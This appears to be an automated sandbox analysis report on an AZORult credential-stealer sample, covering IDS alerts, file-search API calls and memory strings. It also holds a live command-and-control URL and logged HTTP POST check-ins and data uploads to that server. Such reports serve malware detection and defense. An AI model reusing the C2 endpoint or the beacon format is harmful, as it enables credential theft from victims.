Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, 962Zrwh5bU.exe, 00000004.00000002.2173867963.00000000042C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: msvcp140.i386.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: ucrtbase.pdbUGP source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.4.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.4.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.4.dr

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_004098A0 FindFirstFileW,FindNextFileW,FindClose,	4_2_004098A0
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040D0A0 FindFirstFileW,	4_2_0040D0A0
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00414408 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	4_2_00414408
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00408D44 FindFirstFileW,GetFileAttributesW,FindNextFileW,	4_2_00408D44
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00415610 FindFirstFileW,FindNextFileW,FindClose,	4_2_00415610
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_004087DC FreeLibrary,FindFirstFileW,DeleteFileW,FindNextFileW,SetCurrentDirectoryW,RemoveDirectoryW,	4_2_004087DC
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040D06E FindFirstFileW,	4_2_0040D06E
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0041303C FindFirstFileW,FindNextFileW,FindClose,	4_2_0041303C
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040989F FindFirstFileW,FindNextFileW,FindClose,	4_2_0040989F
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_004111C4 FindFirstFileW,FindNextFileW,FindClose,	4_2_004111C4
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00414408 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	4_2_00414408
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00415610 FindFirstFileW,FindNextFileW,FindClose,	4_2_00415610
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00412D70 FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D70
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00412D70 FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D70
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00408D3C FindFirstFileW,GetFileAttributesW,FindNextFileW,	4_2_00408D3C
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00412D70 FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D70
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0041158C FindFirstFileW,FindNextFileW,FindClose,	4_2_0041158C
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00411590 FindFirstFileW,FindNextFileW,FindClose,	4_2_00411590
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00412D9C FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D9C

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.5:49704 -> 104.21.75.48:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.5:49704 -> 104.21.75.48:80
Source: Network traffic	Suricata IDS: 2029137 - Severity 1 - ET MALWARE AZORult v3.3 Server Response M2 : 104.21.75.48:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.5:49711 -> 104.21.75.48:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.5:49711 -> 104.21.75.48:80
Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.5:49710 -> 104.21.75.48:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://ls14.icu/HK341/index.php

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /HK341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: ls14.icuContent-Length: 113Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 66 8b 30 63 8b 30 65 8b 30 6c 8b 30 67 eb 40 70 9d 32 70 9c 47 70 9d 32 16 8b 30 60 8b 30 67 8b 30 6c 8b 30 64 8b 30 6c 8b 30 6d Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10f0c0e0l0g@p2pGp20`0g0l0d0l0m
Source: global traffic	HTTP traffic detected: POST /HK341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: ls14.icuContent-Length: 32949Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /HK341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: ls14.icuContent-Length: 113Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 66 8b 30 63 8b 30 65 8b 30 6c 8b 30 67 eb 40 70 9d 32 70 9c 47 70 9d 32 16 8b 30 60 8b 30 67 8b 30 6c 8b 30 64 8b 30 6c 8b 30 6d Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10f0c0e0l0g@p2pGp20`0g0l0d0l0m

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_00418688 GetModuleHandleA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,InternetCrackUrlA,InternetOpenA,InternetConnectA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,

4_2_00418688

Source: global traffic

DNS traffic detected: DNS query: ls14.icu

Source: unknown

HTTP traffic detected: POST /HK341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: ls14.icuContent-Length: 113Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 66 8b 30 63 8b 30 65 8b 30 6c 8b 30 67 eb 40 70 9d 32 70 9c 47 70 9d 32 16 8b 30 60 8b 30 67 8b 30 6c 8b 30 64 8b 30 6c 8b 30 6d Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10f0c0e0l0g@p2pGp20`0g0l0d0l0m

Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: powershell.exe, 00000002.00000002.2064957107.000000000736C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 0000000A.00000002.2186630125.00000000031D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftm
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: svchost.exe, 00000005.00000002.3281103371.000001A7D0A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.5.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 962Zrwh5bU.exe, 962Zrwh5bU.exe, 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3296493750.00000000037D7000.00000004.00000800.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json
Source: pdfviewer.exe, 0000000C.00000002.2208565178.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ls14.icu/
Source: 962Zrwh5bU.exe, 00000004.00000002.2160278016.00000000027D0000.00000004.00001000.00020000.00000000.sdmp, 962Zrwh5bU.exe, 00000004.00000002.2159107756.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp, pdfviewer.exe, 0000000C.00000002.2208565178.00000000014D7000.00000004.00000020.00020000.00000000.sdmp, pdfviewer.exe, 0000000C.00000002.2208565178.0000000001498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ls14.icu/HK341/index.php
Source: pdfviewer.exe, 0000000C.00000002.2208565178.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ls14.icu/HK341/index.php3d
Source: pdfviewer.exe, 0000000C.00000002.2208565178.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ls14.icu/HK341/index.phpMe-
Source: powershell.exe, 00000002.00000002.2062569151.00000000058E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000000A.00000002.2197851801.0000000005112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2059541545.0000000004881000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2197851801.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 0000000A.00000002.2197851801.0000000005112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: mozglue.dll.4.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://www.mozilla.com0
Source: powershell.exe, 00000002.00000002.2059541545.0000000004881000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2197851801.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 962Zrwh5bU.exe, 962Zrwh5bU.exe, 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3296493750.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dotbit.me/a/
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000005.00000003.2059462187.000001A7D0860000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 0000000A.00000002.2197851801.0000000005112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf0
Source: 962Zrwh5bU.exe, 00000004.00000002.2159107756.0000000000BD1000.00000004.00000020.00020000.00000000.sdmp, 962Zrwh5bU.exe, 00000004.00000002.2159107756.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.s
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=w
Source: 962Zrwh5bU.exe, 00000004.00000002.2159107756.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=10l
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.sr
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf
Source: 962Zrwh5bU.exe, 00000004.00000002.2159107756.0000000000BD1000.00000004.00000020.00020000.00000000.sdmp, 962Zrwh5bU.exe, 00000004.00000002.2159107756.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: powershell.exe, 00000002.00000002.2062569151.00000000058E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.5.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: https://www.digicert.com/CPS0

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.962Zrwh5bU.exe.3703b70.2.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 9.2.pdfviewer.exe.4e20000.3.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
